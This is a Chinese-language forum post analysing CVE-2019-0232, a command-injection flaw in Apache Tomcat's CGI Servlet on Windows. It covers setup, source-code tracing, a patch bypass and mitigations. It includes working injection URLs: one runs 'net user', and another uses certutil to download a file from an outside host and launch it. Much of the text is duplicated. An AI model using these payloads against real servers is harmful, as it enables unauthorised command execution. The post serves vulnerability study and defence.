-
-
[原创]CVE-2019-0232:Tomcat远程代码执行漏洞分析
-
发表于: 2019-5-23 21:13 7409
-
2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。
该漏洞只对Windows平台有效,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。
★Apache Tomcat 9.0.0.M1 to 9.0.17
★Apache Tomcat 8.5.0 to 8.5.39
★Apache Tomcat 7.0.0 to 7.0.93
笔者使用的测试环境为Win10 Home 1809,jre版本为18.3 (build 10.0.2+13),Tomcat版本为去年安装的9.0.13。
Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable,如下
同时把Servlet Mappings中CGI servlet部分注释去掉:
接着修改 conf/context.xml 的 <Context> 添加 privileged="true"属性,否则会没有启动CGI_Servlet权限。如下:
最后在webapps/ROOT/WEB-INF文件夹下建立hello.bat空文件,里面可以什么都不用写。
启动Tomcat,打开浏览器,访问下面链接:
http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user
网页反馈熟悉的cmd结果如下图。
构造一个注入链接,实现一个图片下载器的功能:
http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg
这里我用一张图片做测试,运行成功后会弹出图片。下面为一个GIF动图演示:
网络社区已经有大神分析过了漏洞代码,漏洞代码位于tomcat\java\org\apache\catalina\servlets\CGIServlet.java 文件中,这里我追踪分析当浏览器访问http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user时,相应代码做了哪些操作。
处理链接的代码在CGIServlet.java中的setupFromRequest函数中
原始链接字符串
http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user通过经过getQueryString函数,qs得到了初始查询字符串,此时,qs=”&C%3a%5cWindows%5cSystem32%5Cnet+user”。
代码首先判断qs不能为空,且不能含有=符号,至于为什么不能为等号,代码注释部分给出了解释,含有=号代表链接为indexed query。
紧接着,StringTokenizer类将字符串qs分割为两部分,以+号为分隔符,字符串一分为二,变成了”&C%3a%5cWindows%5cSystem32%5Cnet”和”user”。
此时分割的字符串并未直接进入命令行执行,作者做了一次正则匹配检验cmdLineArgumentsEncodedPattern.matcher,目的是检测字符串的合法性,我们不妨看一下匹配规则,即允许字母、数字、以及特定符号“%;/?:@&,$-_.!~*'()”通过检验。显然,我们构造的注入链接都是满足要求的,没有使用匹配规则之外的字符。
然后下一步,URLDecoder.decode将url编码的字符串转码,”&C%3a%5cWindows%5cSystem32%5Cnet”解码后为”&C:\Windows\System32\net”, ”user”解码后还是”user”不变。
反复回溯跟踪代码执行流程,有点耐心,就能找到上面处理后的字符串参数传到下面的代码做最后的处理。
从最后一句可以看出,Tomcat调用Runtime.getRuntime().exec启动了cmd命令行,参数放在了cmdAndArgs这个ArrayList<String>数组中,cmdAndArgs是由cgiExecutable、cgiExecutableArgs、command与params组合到一起得到的。
还记得开头在 conf/web.xml配置了一个标签executable,配置的值为空,即为默认值,可以推测cgiExecutable与cgiExecutableArgs并没什么卵用。
command源自sCGIFullPath,而sCGIFullPath可能是文件或者目录,因为无法调试,但通过观察函数命名可知,command极可能是hello.bat的绝对路径名。
很容易就可以分析出,params就是前面解码后的解码后的”&C:\Windows\System32\net”和”user”。
总结一下,此时在Windows下构造的命令行参数如下:
为了验证我的猜想,我启动命令行,输入下面命令:
与浏览器的返回结果一致,说明我们的猜想是正确的。此处必须解释&符号的作用,&含义是,表示&左边字符串与右边字符串是两条命令,命令行会依次执行”hello.bat”与”C:\Windows\System32\net user”;如果没有此处的&号,”C:\Windows\System32\net user”将作为参数传递给hello.bat。
开发者在URLDecoder.decode解码后增加一个正则表达式验证,毋庸置疑,目的肯定是检测url解码后的字符串输入的合法性。
值得注意的是,该正则匹配规则是可以在conf/web.xml自定义配置的,默认值为:
只需注意到,这里正则表达式过滤了&符号。仅仅依赖过滤&符号显然还是不够的,倘若此处我们精心再设计一下hello.bat的内容,命令行注入依旧可行,特地下载最新的修复漏洞后的Tomcat 9.0.20版本,配置方法与9.0.13版本相同,不同的是hello.bat不再为空,内容如下:
上述批处理含义十分简单,是取传入bat第一个参数与第二个参数,并组合一起作为一条命令执行。
修改注入链接为:
http://localhost:8080/cgi-bin/hello.bat?C%3a%5cWindows%5cSystem32%5Cnet+user
经测试,注入依旧成功。因此,修复该漏洞最佳方法是:
1.停止启用enableCmdLineArguments参数
2.或者在conf/web.xml中覆写采用更严格的参数合法性检测规则
https://xz.aliyun.com/t/4875
https://github.com/apache/tomcat/commit/4b244d8
https://github.com/pyn3rd/CVE-2019-0232/
2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。
该漏洞只对Windows平台有效,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。
漏洞影响范围
★Apache Tomcat 9.0.0.M1 to 9.0.17
★Apache Tomcat 8.5.0 to 8.5.39
★Apache Tomcat 7.0.0 to 7.0.93
漏洞复现
笔者使用的测试环境为Win10 Home 1809,jre版本为18.3 (build 10.0.2+13),Tomcat版本为去年安装的9.0.13。
Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable,如下
<servlet> <servlet-name>cgi</servlet-name> <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> <init-param> <param-name>cgiPathPrefix</param-name> <param-value>WEB-INF/cgi-bin</param-value> </init-param> <init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> <load-on-startup>5</load-on-startup> </servlet>
同时把Servlet Mappings中CGI servlet部分注释去掉:
<servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern> </servlet-mapping>
接着修改 conf/context.xml 的 <Context> 添加 privileged="true"属性,否则会没有启动CGI_Servlet权限。如下:
<Context privileged="true"> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> </Context>
最后在webapps/ROOT/WEB-INF文件夹下建立hello.bat空文件,里面可以什么都不用写。
启动Tomcat,打开浏览器,访问下面链接:
http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user
网页反馈熟悉的cmd结果如下图。
<servlet> <servlet-name>cgi</servlet-name> <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> <init-param> <param-name>cgiPathPrefix</param-name> <param-value>WEB-INF/cgi-bin</param-value> </init-param> <init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> <load-on-startup>5</load-on-startup> </servlet>
同时把Servlet Mappings中CGI servlet部分注释去掉:
<servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern> </servlet-mapping>
接着修改 conf/context.xml 的 <Context> 添加 privileged="true"属性,否则会没有启动CGI_Servlet权限。如下:
<Context privileged="true"> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> </Context>
<servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern> </servlet-mapping>
接着修改 conf/context.xml 的 <Context> 添加 privileged="true"属性,否则会没有启动CGI_Servlet权限。如下:
<Context privileged="true"> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> </Context>
<Context privileged="true"> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> </Context>
漏洞利用场景
构造一个注入链接,实现一个图片下载器的功能:
http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg
这里我用一张图片做测试,运行成功后会弹出图片。下面为一个GIF动图演示:
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)